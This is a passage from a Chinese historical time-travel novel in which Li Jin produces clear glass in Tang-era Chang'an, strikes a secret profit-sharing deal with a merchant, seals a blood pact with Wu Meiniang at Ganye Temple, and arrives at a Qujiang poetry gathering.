此刻,坩埚内正发生着奇妙的化学反应。李瑾全神贯注,侧耳倾听着炉内细微的声音变化,凭借记忆中的理论和无数次失败的经验,判断着火候。汗水沿着他的额角滑落,他也浑然不觉。
“阿郎,火候够了吗?” 外间传来李福压低的声音,带着紧张。老人正卖力地拉着风箱,呼哧呼哧的喘气声清晰可闻。
“再稳一稳,保持这个风力,半刻钟。” 李瑾沉声吩咐,声音因紧张而略显沙哑。成败在此一举,这不仅关乎他能否赚到第一桶金,更关乎他后续所有计划的启动资本。没有钱,在这个时代寸步难行,无论是支持武媚娘在寺中的打点,还是为自己铺就晋身之阶,都是空谈。
时间一点一滴过去,厢房里闷热如蒸笼。终于,李瑾感觉时机已到,低喝一声:“停风!准备退火!”
李福连忙停下。李瑾用厚厚的湿布包裹双手,握住特制的长铁钳,小心翼翼地将烧得通红的坩埚从炉中夹出,迅速移入旁边一个铺满干燥细沙、预先加热过的陶缸中,再用沙子仔细掩埋。这是一个极其简陋的“退火”过程,目的是让玻璃液缓慢均匀冷却,以减少内部应力,防止炸裂或过脆。
接下来,便是漫长的等待。李瑾和李福守在陶缸旁,如同守着即将孵化的鸡雏,大气都不敢出。夜色渐深,坊间更鼓响起,子时已过。
“阿郎,您先去歇着,老奴守着便是。” 李福看着小主人布满血丝的眼睛,心疼地劝道。
“无妨,就快见分晓了。” 李瑾摇摇头,目光死死盯着那毫无动静的沙堆。他的心跳得飞快,混合着期待与焦虑。如果这次再失败,不仅会打击信心,更会耽误与王掌柜的约定,影响后续计划。
又过了约一个时辰,沙堆的温度已降至可以触摸。李瑾深吸一口气,示意李福退后,自己则用木勺,一点点拨开表面尚有余温的细沙。
沙粒滑落,露出了坩埚深色的顶部。李瑾的心提到了嗓子眼。他戴上厚布手套,轻轻拂去更多沙粒,露出了坩埚的颈部。然后,他用特制的木槌,沿着事先刻好的一条细缝,轻轻敲击。
“咔嚓”一声轻响,坩埚的顶部应声裂开一道缝隙。李瑾屏住呼吸,用铁钳小心翼翼地将裂开的陶片取下。
昏黄的油灯光下,坩埚内,一团半凝固的、暗红色的物质显露出来。表面坑洼不平,颜色浑浊……李瑾的心沉了一下。但紧接着,他注意到,这团物质似乎比之前任何一次都要“干净”,没有那么多明显的黑色杂质和密集的气泡。
他强忍激动,继续敲击,将坩埚完全破开。当那团东西完全暴露在空气中,并随着温度进一步降低而迅速变硬时,李瑾的眼睛猛地亮了起来!
成了!
虽然形状不规则,边缘参差不齐,颜色也并非完全透明,而是带着淡淡的、如同初春湖水般的浅绿色,但最关键的是——它整体质地均匀,内部几乎没有肉眼可见的大气泡,而且透明度极高!他能透过这团玻璃,清晰地看到后面油灯跳动的火焰轮廓!
“这……这是琉璃?不,这……” 李福凑近一看,也惊呆了。他见过西市胡商售卖的上等琉璃器,色彩斑斓,但大多不透明,或是浑浊的半透明。眼前这块东西,虽然丑陋,但那澄澈的质感,那透光性,是他从未见过的!这简直像是……像是将最纯净的水凝固了一般,只是带着淡淡的绿意。
“是,也不是。” 李瑾的声音因激动而有些颤抖,他小心地用布垫着,将这团还温热的、柚子大小的玻璃疙瘩取了出来,放在早已准备好的木垫上,“此物,我称之为‘明玻’。”
他拿起早就准备好的、用硬木和皮革自制的简易钳子和锤子,开始小心翼翼地敲击、修整这块玻璃疙瘩的边缘。这个过程需要极大的耐心和巧劲,既要剥去外部粘连的杂质和粗糙的表层,又不能用力过猛导致整体破裂。李瑾全神贯注,仿佛在雕琢绝世美玉。
李福在一旁看得心惊胆战,连呼吸都放轻了。
足足花了小半个时辰,李瑾才勉强将这块玻璃修整出一个大致扁平的、碗口大小的圆饼形状。他将其浸入早已准备好的、温度适宜的清水中进行最后的“淬火”稳定,然后捞出,用最细腻的绢布沾着清水和极细的石英砂粉末,开始一点点打磨表面。
当第一缕晨光透过窗纸射入厢房时,李瑾停下了手中的动作。他缓缓举起那块经过初步打磨的玻璃圆饼,对着窗户。
刹那间,仿佛将一小片晨曦禁锢在了手中!
淡绿色的、晶莹剔透的玻璃圆饼,在晨光中流转着柔和而梦幻的光泽。它并非完全无色,但那抹淡绿纯净得如同山间溪水,均匀地分布在整个圆饼中,非但不是瑕疵,反而增添了一种天然的韵味。最重要的是它的透明度——透过它,窗外的景物虽然略带绿意,但清晰可辨,毫无阻碍!与当前世间那些色彩艳丽却浑浊、或是半透明却充满气泡的琉璃器相比,这块“明玻”简直是云泥之别!
“我的天爷……” 李福扑通一声跪坐在地,老眼瞪得滚圆,死死盯着李瑾手中那如梦似幻的造物,嘴唇哆嗦着,说不出完整的话来。他活了这么大岁数,从未见过如此纯净、如此通透的“琉璃”!这简直是传说中龙王水晶宫里的宝物!
李瑾长长地舒了一口气,一直紧绷的神经骤然松弛,强烈的疲惫感袭来,但他心中却充满了难以言喻的喜悦和成就感。虽然这距离他理想中的纯净平板玻璃还有巨大差距,但这块“明玻”圆饼,已足以证明他的路线正确,工艺可行!在这个时代,这就是无可争议的瑰宝,是点石成金的奇迹!
“福伯,快起来。” 李瑾扶起老仆,将玻璃圆饼小心地放在铺了软绸的木盒中,“此事,天知地知,你知我知,绝不可泄露半分!否则,必有杀身之祸!” 他神色凝重地叮嘱。怀璧其罪的道理,他比谁都懂。
李福猛地一颤,连忙磕头:“老奴明白!老奴明白!就是死,也绝不吐露半个字!”
李瑾点点头,他知道李福的忠诚。他仔细收好木盒,藏于卧室隐秘处,然后强打精神,对李福道:“准备热水,我要沐浴更衣。另外,去坊市买些新鲜果品,再沽一壶好酒。午后,我要去见王掌柜。”
------
午后,西市,王记杂货铺后院静室。
王掌柜捧着那块用红绸衬底的淡绿色玻璃圆饼,双手微微颤抖,眼睛瞪得几乎要凸出来,喉咙里发出“嗬嗬”的怪响,仿佛喘不过气来。他经商多年,走南闯北,见过无数奇珍异宝,西域传来的琉璃器也经手过不少,但何曾见过如此……如此纯粹、如此透亮、如此晶莹剔透的“琉璃”?!不,这绝不是普通的琉璃!这质感,这光泽,这毫无杂质的纯净……说是天上仙宫之物,他也信!
“李……李郎君……这、这……” 王掌柜语无伦次,抬头看向坐在对面,神色平静、正慢条斯理品着茶的李瑾,眼中充满了难以置信的震惊,以及难以抑制的狂热贪婪。“此物……真是您……您炼制出来的?” 他仍不敢相信,这宛如天工造物般的东西,竟是出自这年轻宗室子之手。
“机缘巧合,偶得古方,侥幸成功一次罢了。” 李瑾放下茶杯,语气淡然,仿佛在说一件微不足道的小事,“王掌柜以为,此物如何?”
“如何?这……这简直是稀世奇珍!无价之宝啊!” 王掌柜激动得声音都变了调,他小心翼翼地将玻璃圆饼举到窗前,对着光细细查看,越看越是心醉神迷,“如此纯净,毫无瑕疵,透光如清水……若是以此制成杯盏、玉佩、屏风,乃至……乃至女子妆奁镜鉴,其价值……不可估量!不可估量啊!” 他仿佛已经看到无数金银财宝滚滚而来。
李瑾心中暗笑,他要的就是这个效果。他故意只拿出这块初步成功的、尚且粗糙的圆饼,就是要吊足王掌柜的胃口,同时也不至于太过惊世骇俗。若是将他心中设想的完全透明无色的平板玻璃拿出来,恐怕王掌柜当场就得吓晕过去。
“王掌柜过誉了。” 李瑾微微一笑,“此物炼制,极为不易,失败百次,方得此一成功。所需材料,亦非寻常之物,火候掌控,更是难上加难。” 他先给王掌柜打预防针,抬高成本和难度,为后续谈判铺垫。
“理解,理解!如此神物,岂是易得?” 王掌柜连连点头,如同小鸡啄米,目光片刻不离手中玻璃,“不知……不知郎君此次,炼制了多少?可有成器?”
“仅此一枚。” 李瑾摇头,“乃是试验之作,不成器型。后续若要制成器皿,还需琢磨雕琢之工,更是繁琐。且成功率,依旧难料。” 他继续营造稀缺性和高难度。
王掌柜脸上闪过一丝失望,但随即被更强烈的热切取代。有一就有二!既然能炼出这块,就说明方子是真的,工艺是可行的!只要继续投入,何愁不能量产?
“郎君!” 王掌柜放下玻璃,搓着手,脸上堆起最诚恳的笑容,“王某上次就说过,愿与郎君共谋此大利!您出方子和技术,王某出本钱、出人手、出销路!所得利润,您占大头!您看……七三分成如何?您七,王某三!” 他直接开出了高价,生怕李瑾被别家抢走。
李瑾却摇了摇头,不紧不慢地又呷了口茶。
王掌柜心里一紧:“郎君觉得少了?那……您八,王某二?” 他咬牙又让一步。
李瑾放下茶杯,看着王掌柜,缓缓道:“王掌柜,此物之利,你知我知。然,匹夫无罪,怀璧其罪。此物一旦面世,必将轰动长安,引来无数觊觎目光。届时,你我二人,可能守住这份财富?”
王掌柜一愣,兴奋的头脑冷静了些许。是啊,如此奇珍,若没有足够硬的靠山,只怕钱没赚到,命先没了。他之前被利益冲昏了头,此刻经李瑾一点,顿时惊出一身冷汗。
“那……郎君的意思是?” 王掌柜小心翼翼地问。
“合作可以,但方式需变一变。” 李瑾身子微微前倾,压低声音,“明面上的作坊,可以是你王记的产业,但实际掌控和技术,必须在我手中。你负责材料采购、普通匠人雇佣、以及大部分器物的销售。最核心的配料、火工,由我指定绝对可靠的人掌握。此其一。”
王掌柜略一思索,点头:“应当的,技术是根本,理应由郎君掌控。”
“其二,”李瑾继续道,“销路不可急,不可滥。初期,我们不求量,只求精。每年只出数件,乃至十数件精品,专走高端路线。客户目标,定为皇室、顶级权贵、巨富豪商。每一件出品,都必须独一无二,有编号,有来历故事,将其打造成身份和地位的象征,而不仅仅是器物。”
王掌柜眼睛一亮,他是商人,立刻明白了其中奥妙——饥饿营销,提升逼格!这样不仅利润更高,而且能最大限度减少产量,降低暴露风险,还能借此搭上顶层人脉!
“妙!妙啊!” 王掌柜抚掌赞叹,“郎君高见!如此一来,物以稀为贵,其价更可翻上数番!且能借此结交贵人!”
“其三,”李瑾语气转冷,“保密为首要。所有参与核心工序之人,必须严格筛选,签订死契,集中居住,与外界隔绝。作坊地点,也要选在隐秘稳妥之处。若泄密……” 他目光如刀,扫过王掌柜。
王掌柜心头一凛,连忙表态:“郎君放心!王某晓得利害!定当安排得妥妥当当,若有差池,王某提头来见!”
“其四,分成。” 李瑾终于说到最关键处,“我六,你四。”
王掌柜眉头微皱,这个比例比他预期的低,但考虑到李瑾掌握核心技术和主导权,也并非不能接受。他正要答应,却听李瑾又道:
“不过,这四成,不是净利四成。” 李瑾顿了顿,抛出一个王掌柜从未听过的概念,“是‘纯利’的四成。”
“纯利?” 王掌柜不解。
“不错。” 李瑾解释道,“所有销售收入,扣除材料成本、匠人薪俸、作坊开销、店铺租金、打通关节的份子钱、运输损耗、乃至可能的‘意外’打点等所有成本之后,剩下的,方为‘纯利’。你我得此纯利,再按六比四分配。”
王掌柜愣住了,仔细琢磨着这个“纯利”的概念。这看似和寻常分成差不多,但细想之下,却大有不同。如此一来,李瑾将销售过程中的所有成本、风险,都与他绑在了一起。要想多分钱,就必须共同努力降低成本、扩大销售、控制风险。这比简单的按销售额分成,更加紧密,也更能调动双方的积极性。而且,李瑾主动将销售环节的细节和成本透明化(至少表面上),也显得更“公道”。
“此外,”李瑾趁热打铁,“首批产出售卖所得,无论多少,我要先支取二百贯现钱,我有急用。此款可从你后续分成中扣除,或算作我提前支取的本金。” 这是他的底线,他需要启动资金,而且是立刻、马上。
王掌柜盘算起来。前期投入主要是建坊、购料、雇人,这些他垫付问题不大。李瑾先支取二百贯,虽然数额不小,但若能换来这“明玻”的独家合作,绝对值得。更何况,李瑾提出的“纯利”分成和高端精品的策略,长远看利润巨大。
“成!” 王掌柜一拍大腿,下定决心,“就依郎君所言!六比四分成,按‘纯利’算!前期投入和那二百贯,都包在王某身上!咱们立字为据!”
李瑾心中一块石头落地,脸上却依旧平静:“王掌柜爽快。既如此,我们便详细拟定契约条款。作坊选址、人员招募、材料清单,我也已有了计较,稍后便与你详谈。当务之急,是那二百贯钱,我需在三日内支取。”
“没问题!王某这就去筹备!” 王掌柜红光满面,仿佛已经看到金山银山在向自己招手。
两人又密议了近一个时辰,敲定了合作细节,并找来坊正作为中人,签订了一份内容详实、条款严谨的契约,特别强调了保密条款和违约重罚。按下手印的那一刻,李瑾知道,自己在这个时代,终于迈出了积累资本、建立根基的第一步。
怀揣着刚刚到手的一百贯“定金”飞钱(唐代的一种汇票凭证,可在指定柜坊兑换现钱),李瑾走在华灯初上的西市街道上。喧嚣的市井人声,璀璨的万家灯火,此刻在他眼中,都与以往不同。这繁华之下涌动的财富与机遇,他终于有了伸手攫取的资格和工具。
“净琉璃”只是开始。有了这笔启动资金,很多计划都可以提上日程了。武媚娘在寺中的打点需要钱,自己拓展人脉、收集信息需要钱,未来更大的布局,更需要雄厚的资本支撑。
他抬头望向皇城方向,目光深邃。金银开道,方能叩响那扇沉重的大门。感业寺的青灯,曲江池的诗会,乃至更远处的波谲云诡……都需要这“黄白之物”铺路。
“王掌柜……” 李瑾嘴角泛起一丝若有若无的笑意。这个精明的商人,是他现阶段最好的合作者,但也需时刻提防。利益能将他们绑在一起,也足以让关系破裂。在拿出更多“奇技淫巧”之前,他必须确保自己始终掌握着核心技术和主动权。
回到崇仁坊小院,李瑾将飞钱仔细藏好。他没有休息,而是铺开纸笔,开始规划这笔钱的用途:一部分兑换成便于使用的小额金银和铜钱,用于日常开支和应急;一部分用来“投资”感业寺的慧明,以及可能需要的其他关节;剩下的,则要开始物色一处更隐蔽、更安全的宅院,作为真正的“实验室”和未来的据点。
同时,他还要准备曲江池诗会。那不仅是扬名的机会,更是打入长安士林、编织关系网的重要一步。杜铭的帖子,是一个不错的起点。
烛光下,李瑾伏案疾书,眼神明亮而坚定。资本的轮子已经开始转动,历史的轨迹,也必将因他这双无形之手的推动,而悄然偏转。
第20章 菩提树下盟
时光倏忽,自感业寺经房夜谈已过月余。长安城从暮春迈入初夏,崇仁坊小院中的槐树已枝繁叶茂,投下满地斑驳光影。李瑾的生活,在表面平静之下,正发生着深刻而有序的变化。
与王记杂货铺王掌柜的“明玻”合作已悄然启动。凭借先期到手的一百贯钱,李瑾在长安城西郊相对偏僻的延平坊,以“远房亲戚”的名义,租赁下一处带后院、有独立水井的旧宅。此地远离喧嚣,左邻右舍多为小户手工业者或城外农户,人员简单,不易惹眼。在李瑾的亲自设计和监督下,后院被改造成了一个简易的“实验室”和“作坊”。高大的夯土围墙确保私密,新砌的窑炉比之前小院的土炉更规范,还搭建了存放原料、处理成品和匠人居住的棚屋。
匠人招募是重中之重。李瑾没有通过王掌柜,而是让李福暗中寻访。条件苛刻:身家清白,最好是孤身流民或家累不重者;沉默寡言,能守秘密;手脚灵巧,有烧陶或打铁经验者优先。最终,以重金和严格的人身契约为约束,招募了四名匠人:一对是关中逃荒来的兄弟,曾烧过砖窑;一名是原官营铁坊因故被黜退的老匠人,经验丰富;还有一名略显木讷、但学东西极快的年轻学徒。李瑾亲自把关,与他们分别签订了近乎“死契”的雇佣文书,并言明所从事的是“家传秘技”,严禁外泄,违者重惩。同时,许以远超寻常工匠数倍的薪酬,并承诺妥善安置其家人(如有)。恩威并施之下,初步的班底算是搭了起来。
原料采购由王掌柜负责,他门路广,又能分散采购,不易引人注意。李瑾则将改良后的配方拆解,最关键的核心配料比例和窑温火候控制,牢牢掌握在自己手中。他亲自示范、指导,看着第一窑“明玻”原料在更可控的环境下熔化、澄清、退火。成果令人鼓舞——得到数块颜色更浅、透明度更高、气泡和杂质更少的玻璃料。虽然距离完全无色透明还有差距,但已足堪称这个时代的顶级“琉璃”珍宝。李瑾将其切割、粗磨,制成几件简单的镇纸、笔舔和一枚小巧的扇形佩饰,交给王掌柜。王掌柜如获至宝,通过隐秘渠道,将其中的镇纸和笔舔,以“西域极西之地偶然所得、疑似上古水晶髓”的神秘名头,高价售予了一位喜好猎奇的江南豪商,获利颇丰。李瑾分得了约定的首笔“纯利”分成,又得八十贯。资金池开始悄然蓄水。
这期间,李瑾与武媚娘保持着每月两次的“经文”传递。借助那套日益纯熟的密码系统,信息往来愈发顺畅。武媚娘展现了惊人的适应能力和执行力。在李瑾资金的暗中支持下,她已初步“结交”了知客僧慧明——通过“捐献”一笔不菲的、指定用于修缮藏经阁的“香油钱”,并“偶然”帮其解决了一桩与城中某商铺的香烛采买纠纷,赢得了慧明的好感与些许关照。她在寺中的处境悄然改善,虽仍做杂役,但已不再被刻意刁难,甚至得以接触更多经卷整理工作。她回报的信息也更有价值:确认了宫中确由秘书省牵头,筹备大规模缮写《一切道经》,预计秋后启动,届时或会从长安周边寺观遴选善书僧道入宫协助;左监门将军郭孝恪之母郭老夫人,将于下月十五前来感业寺为亡夫做周年法事,届时其女眷(包括郭将军夫人及待字闺中的女儿)会陪同前来。
一切,都在向着李瑾预设的方向稳步推进。资本在积累,内应在发展,机会在浮现。是时候,与武媚娘进行一次更深入、更正式的面对面的沟通了。同盟不能只靠密信维系,需要一次彻底的交底,一次明晰的约定,一次将双方利益和未来彻底捆绑的盟誓。
机会很快来临。五月初一,是感业寺例行的“开库晒经日”,寺中会将部分经卷搬出晾晒,并允许少数“功德深厚”的施主入藏经阁观摩、祈福。李瑾通过慧明,以“为父母祈福,愿捐资为部分受损经卷重新裱褙”为由,获得了一个名额。
这一日,天朗气清。李瑾早早来到感业寺,依旧是一身半旧青衫,神色恭谨。在知客僧慧明(如今对他已颇为客气)的引领下,他先到大殿上香捐资,然后被允许进入藏经阁后院。那里已搭起许多竹架,上面摊晒着大量经卷,空气中弥漫着陈年纸张和墨香混合的气息。几位僧尼在旁照看。
李瑾的目光迅速扫过,很快在廊下角落一个负责整理经卷的灰色身影上定格——正是武媚娘。她比月前似乎清减了些,但精神却好了许多,眼神沉静,动作麻利。看到李瑾,她动作几不可察地微微一顿,随即恢复自然,继续低头整理经卷。
李瑾向引领的僧人合十致谢,表示想自行观摩片刻,僧人便退至一旁。他缓步走在竹架间,状似随意地翻看经卷,慢慢向武媚娘所在的方向移动。
大约一炷香后,引领僧人被另一执事叫走片刻。李瑾抓住这短暂的空档,走到武媚娘身侧的竹架旁,背对着其他人,仿佛在仔细查看一幅《金刚经》拓本。
“法师,”他低声开口,声音仅两人可闻,“后殿庭中那株菩提树,听闻乃太宗皇帝为文德皇后祈福所植,枝繁叶茂,荫蔽一方,在下心向往之,不知可否一观?”
武媚娘手中动作不停,声音平静无波:“菩提树在藏经阁后侧小院,施主沿此廊右转,过月洞门即是。平日少人前往,甚是清静。”
“多谢法师指点。”李瑾微微颔首,将手中一直握着一卷用锦布包好的经卷,看似无意地放在武媚娘正在整理的经卷堆上,指尖在锦布上轻轻点了三下。然后,他转身,朝着武媚娘所指的方向,不疾不徐地走去。
那锦布包裹里,正是他们用于通信的“空白本”,而李瑾指尖的三下轻点,是约定的紧急面谈暗号。
穿过幽静的廊道,右转,果然见到一个月洞门。门内是一个小小的、略显荒僻的庭院,院中唯有一样景物——一株极为高大的菩提树,树干需数人合抱,树冠如盖,投下大片浓荫。此时正值初夏,菩提树叶青翠欲滴,微风拂过,飒飒作响。树下设有石桌石凳,布满青苔,显是少人来此。
李瑾步入院中,在石凳上坐下,静静等待。他选在此处,因其僻静,更因“菩提”二字在佛门的象征意义——觉悟、智慧、盟誓。在此树下定盟,恰如其分。
约莫过了半盏茶功夫,轻微的脚步声响起。武媚娘的身影出现在月洞门口。她手中提着一个不大的竹篮,里面放着些干净的抹布和一把小扫帚,像是来做清扫的。她走进小院,目光迅速扫视一圈,确认再无他人,这才走到菩提树下,与李瑾隔石桌相对而立,并未坐下。
“李公子相约,不知有何急事?”她开门见山,声音压低,目光清冽,带着审视。比起月前经房中的激动与挣扎,此刻的她显得沉稳了许多,那份深藏骨子里的冷静与果决,正逐渐重新凝聚。
李瑾抬头,迎上她的目光,没有寒暄,直接切入正题:“三件事。第一,缮写道经之事,已基本确定,秋后由秘书省、宗正寺及崇玄署联合主持,遴选天下善书僧道及宫中女官、内侍,集中誉录。此为良机。”
武媚娘眼眸微亮,但神色不变:“名额几何?遴选标准为何?”
“具体名额未定,但规模不会小。标准首重书法,楷法端严、抄录精准无错者为上;其次需略通道典,以免讹误;再次,需身家清白,无不良记录。”李瑾将这几日通过王掌柜、杜铭等渠道多方打探、拼凑核实的信息道出,“此乃宫内差事,纵是外围,亦有觐见之机,更可在贵人面前露脸。你必须入选。”
“我需做何准备?”武媚娘问得干脆。
“两月之内,将楷书练至登峰造极。我会设法送来秘书省通用的标准抄经用纸格式、以及《一切道经》的目录与部分重要篇章。你需反复临摹,务求形神兼备。道典我会挑选紧要者摘要送来,你需熟记于心,至少做到对答如流。此外,”李瑾顿了顿,“郭老夫人下月来寺做法事,是你另一个机会。郭孝恪乃陛下潜邸旧臣,颇受信任,其母笃信佛法。你若能在此次法事中,以精湛佛理、得体举止,给郭老夫人及其女眷留下深刻印象,甚至结下些许善缘,届时若需有人举荐或美言,或可借此力。”
武媚娘静静听着,眼神锐利如刀,消化着每一个信息点。李瑾的安排,可谓环环相扣,既有长期目标(缮经),又有短期契机(郭家),且提供了具体的行动路径和资源支持(字帖、道经摘要)。这份谋划与支持,远超她最初最乐观的预期。
“第二件事,”李瑾继续道,语气更凝重了几分,“关于你我之盟。”
武媚娘呼吸微微一滞,知道真正的关键来了。
“合作至今,法师当知在下诚意与能力。”李瑾目光坦然,“在下助法师脱离此地,非为施恩,实为投资。投资法师之才,之志,之未来。然投资有风险,盟约需分明。今日在此,愿与法师约法三章,共立此菩提之盟。”
“公子请讲。”武媚娘沉声道。
“其一,目标一致。在下助法师离开感业寺,重返宫廷,乃至……登上更高之位。法师得势,需保在下性命无忧,富贵长安,并允在下施展抱负之空间。你我荣辱与共,休戚相关。” 李瑾直视她的眼睛,毫不掩饰自己的野心与诉求。
武媚娘心中剧震。“重返宫廷”已是惊人之语,“登上更高之位”更是直指那不可言说的野望。而他索要的回报,也清晰明确——不是具体的官位财富,而是“性命无忧、富贵长安、施展抱负的空间”,这反而显得更加真实和……长远。她沉默片刻,缓缓点头:“可。若真有那一日,李公子今日之恩,他日必不相忘。武媚在此立誓,若违此诺,天人共弃。” 她没有称“贫尼”,而是用了本名,誓言极重。
“其二,各司其职,信息互通。”李瑾续道,“寺内之事,法师主导,在下在外策应,提供所需钱帛、消息、乃至部分谋划。外界动向,在下全力打探,及时相告。重大决断,需彼此商议。你我之间,严禁猜忌,严禁隐瞒。纵有分歧,亦需坦诚沟通,共寻良策。” 这是建立合作的基本规则,确保同盟稳固高效。
“理应如此。”武媚娘再次点头。李瑾展现出的情报能力和谋划之能,已赢得她初步信任,这种明确分工、信息共享的模式,也符合她的预期。
“其三,也是最重要的一条,”李瑾身体微微前倾,声音压得更低,每个字都清晰无比,“盟约存续期间,严禁互相背叛、互相加害。无论将来境遇如何变迁,地位如何悬殊,皆不可行鸟尽弓藏、兔死狗烹之事。若有违者,另一方可持今日之盟约凭证,公之于众,共赴黄泉。” 说着,他从怀中取出两份早已写好的绢书,铺在石桌上。
武媚娘凝目看去,只见绢书上以工整楷书写着盟约条款,内容与李瑾所言大体一致,但更加详细规范,包括双方权利义务、联络方式、风险共担机制等。末尾,留有空位用于签名画押。最特别的是,每份绢书的边缘,都用特殊的、看似装饰的纹路,暗藏了一套更复杂的密码,这套密码的钥匙,只有他们二人知晓。即便盟约落入他人之手,不明密码,也难知具体内容,而若一方背叛,另一方则可解读并公布,形成致命威胁。
“此盟约一式两份,你我各执其一。以指血为印,菩提为证。” 李瑾取出一个小瓷瓶和一枚干净的银针,“法师可细观条款,若无异议,今日便在此,定下盟约。”
武媚娘拿起绢书,仔细阅读。条款清晰,权责分明,既有合作框架,也有制约机制,尤其是那条“严禁互相背叛”及“公之于众,共赴黄泉”的严厉惩罚,让她看到了李瑾的决心,也给了她一种奇异的安全感——他将自己的把柄,也交给了她。这份盟约,不是主仆契约,更像是平等的战略合作伙伴协议。
她抬起眼,深深地看着李瑾。这个年轻人,心思之缜密,谋划之深远,手段之老练,简直不像这个年纪该有。他图谋甚大,但似乎……并无直接窃国篡位之心,更像是一个想要在时代浪潮中攫取最大利益的……合作者?或者说,投资者?
风险巨大,但回报,也可能是前所未有的。她已身处深渊,还有什么可失去的?而这盟约,或许真是那根救命的绳索。
“好。”武媚娘没有犹豫太久,接过银针,刺破左手食指指尖,殷红的血珠渗出。她果断地在两份盟约末尾,签下了自己的名字——武曌。这是她给自己取的名,日月当空,光明普照,代表着她内心深处从未熄灭的野望。在此刻写下,意义非凡。
李瑾心中一震。武曌!她果然用的是这个名字!他面色不变,同样刺血,签下“李瑾”二字。两份盟约,各自收起,贴身藏好。
“盟约已成。”李瑾收起瓷瓶和银针,语气缓和了些,但依旧郑重,“自今日起,你我便是真正的盟友,一荣俱荣,一损俱损。前路艰险,望彼此珍重,戮力同心。”
武媚娘,不,此刻起,在她心中,她更愿意自己是武曌,轻轻颔首,眸中闪烁着决绝而锐利的光芒:“戮力同心,生死不负。”
菩提树下,清风掠过,树叶沙沙作响,仿佛在为这场跨越时空、将搅动未来历史的秘密盟约作证。
“第三件事,”李瑾语气一转,从怀中又取出一个更小的、以火漆封口的油纸包,推了过去,“此为‘净手香脂’配方与些许成品。用法已在其中。寺中劳作辛苦,可用以护手。另有一些金银,已通过慧明,以‘居士供奉’之名,存入寺中公账,你可凭我此前与你约定的暗记支取使用,打点内外,不必吝啬。缮经准备所需之物,不日便会送来。”
油纸包里,是他用动物油脂、蜂蜡、香料和少量草药改良的护手霜,更适合这个时代制备。而金银,则是他近期从“明玻”获利中抽出的一部分。既然盟约已定,投资更需落到实处。
武曌接过,入手微沉。她没有推辞,坦然收起。钱财物资,此刻正是她所需。“多谢。” 顿了顿,她补充道,“郭家之事,我已有计较。寺中近日另有动静,掌管戒律的执事僧似乎与宫中某位女官有旧,或可借此,打探更多遴选内情。”
李瑾眼中露出赞赏之色。她果然没有被动等待,也在主动寻找和创造机会。“甚好。但需谨慎,勿操之过急。一切以保全自身为要。”
武曌点头,表示明白。
时间不多,引领僧人随时会回来。李瑾最后低声道:“今后联络,仍以经书为凭。若有万分紧急、需即刻面谈之情,可于藏经阁东北角第三扇窗下,放一白色卵石。我见之,三日内,必设法相见。”
“我记下了。” 武曌将竹篮挎好,做出准备清扫的样子。
李瑾站起身,整理了一下衣衫,对着菩提树合十一礼,仿佛只是寻常香客在瞻仰古树,然后转身,向月洞门外走去。经过武曌身边时,以极低的声音道:“保重。静候佳音。”
武曌没有回头,只是低头擦拭着石凳,轻轻“嗯”了一声。
李瑾的身影消失在月洞门外。庭院中,只剩下武曌一人,独立于菩提树的浓荫之下。她缓缓直起身,望向李瑾离去的方向,又抬头看了看苍穹如盖的树冠,阳光透过枝叶缝隙,洒下点点金光。
她伸出手,轻轻握住怀中那份带着血迹、尚有余温的绢书盟约,指节因用力而微微发白。眸中,最后一丝彷徨与犹豫彻底散去,取而代之的,是冰封般的冷静与破釜沉舟的决绝。
前路依旧迷雾重重,深宫似海,人心叵测。但此刻,她手中已握有了一线微光,一份力量,一个……盟友。
菩提本无树,明镜亦非台。然而,她武曌,偏要在这无树之树下,以誓言为镜,照见一条属于自己的通天之路!
第21章 曲江池诗会
五月的长安,春意已浓。曲江池畔,垂柳如烟,碧波粼粼。今日的曲水亭一带,冠盖云集,车马如龙,一年一度的“曲江文会”正在此举行。这并非官方庆典,而是长安年轻士子自发组织、名流雅士齐聚的风流盛事,不拘出身门第,唯以才学见赏。能在此间扬名,无异于在长安文人圈中拿到一张体面的入场券。
李瑾随着杜铭,穿过熙攘的人群,来到水边一处开阔的草坪。草坪上早已铺陈了数十张锦席,错落有致,环绕着一方临时搭建的矮台。四周彩旗招展,侍者穿梭,空气中弥漫着酒香、墨香与草木芬芳。已有不少士子或坐或立,三五成群,高谈阔论,吟诗作赋,气氛热烈。
“瑾兄,这边请。”杜铭今日一身锦袍,意气风发,引着李瑾向一处视野颇佳的席次走去。沿途不断有人与杜铭打招呼,目光则好奇地落在他身后的李瑾身上。李瑾今日穿了一身月白色细麻圆领袍,腰束青色丝绦,头戴黑色软脚幞头,装扮简净清爽,既不过分寒酸,亦不显张扬,衬得他身姿挺拔,面容清俊,尤其一双眸子沉静深邃,在喧闹场中自有一股从容气度。
“杜兄,这位是?” 一位同样锦衣华服、面如冠玉的年轻公子迎上来,拱手笑问,目光在打量李瑾。
“元瑜兄,正要为你引见。”杜铭热络地介绍,“此乃我新近结识的好友,宗室子李瑾,瑾兄。瑾兄虽深居简出,然才学内蕴,见识不凡,尤擅诗文。瑾兄,这位是许元瑜许兄,家学渊源,如今在东宫詹事府任职,乃我辈翘楚。”
许元瑜?李瑾心中一动,立刻想起前次在撷芳楼,杜铭身边那位气度沉稳的青袍男子。原来他在东宫任职,这可是个要紧位置。他连忙拱手,不卑不亢:“在下李瑾,久仰许兄大名,今日得见,幸甚。”
“李兄客气了。”许元瑜还礼,笑容温和,目光却带着几分审视。他听杜铭提过这位“诗才惊四座”的落魄宗室子,此刻亲眼所见,观其气度沉稳,眼神清明,倒不像招摇撞骗之辈。“瑾兄初次来这曲江文会?此处汇集长安俊彦,正是以文会友的好去处。”
“正是初次叨扰,还望许兄、杜兄多多指点。”李瑾微笑应答,言辞得体。
杜铭又将李瑾引见给其他几位相熟的士子,多是官宦子弟或颇有文名的清流。众人见是杜铭引荐,又闻其“诗才”之名,面上倒也客气,但眼神中难免带着几分考较与怀疑。一个名不见经传的远支宗室,凭什么得杜铭如此看重?
众人落座,自有侍女奉上酒水果点。矮台上,已有乐伎弹奏起琵琶,曲调悠扬。酒过三巡,气氛愈加热烈,诗会也正式进入高潮——即席赋诗。
今日诗会的主持者,乃是礼部侍郎崔仁师的侄儿崔晔,年方弱冠,已是进士及第,颇有诗名,为人也颇自负。他见众人兴致已高,便起身笑道:“诸位,值此良辰美景,岂可无诗?不如便以这‘曲江春暮’为题,不限韵脚,各展才情,如何?”
众人轰然叫好。曲江春暮,既是眼前实景,又易生发时光流逝、人生际遇之感慨,题目不算偏,正可考验各人功底与情怀。
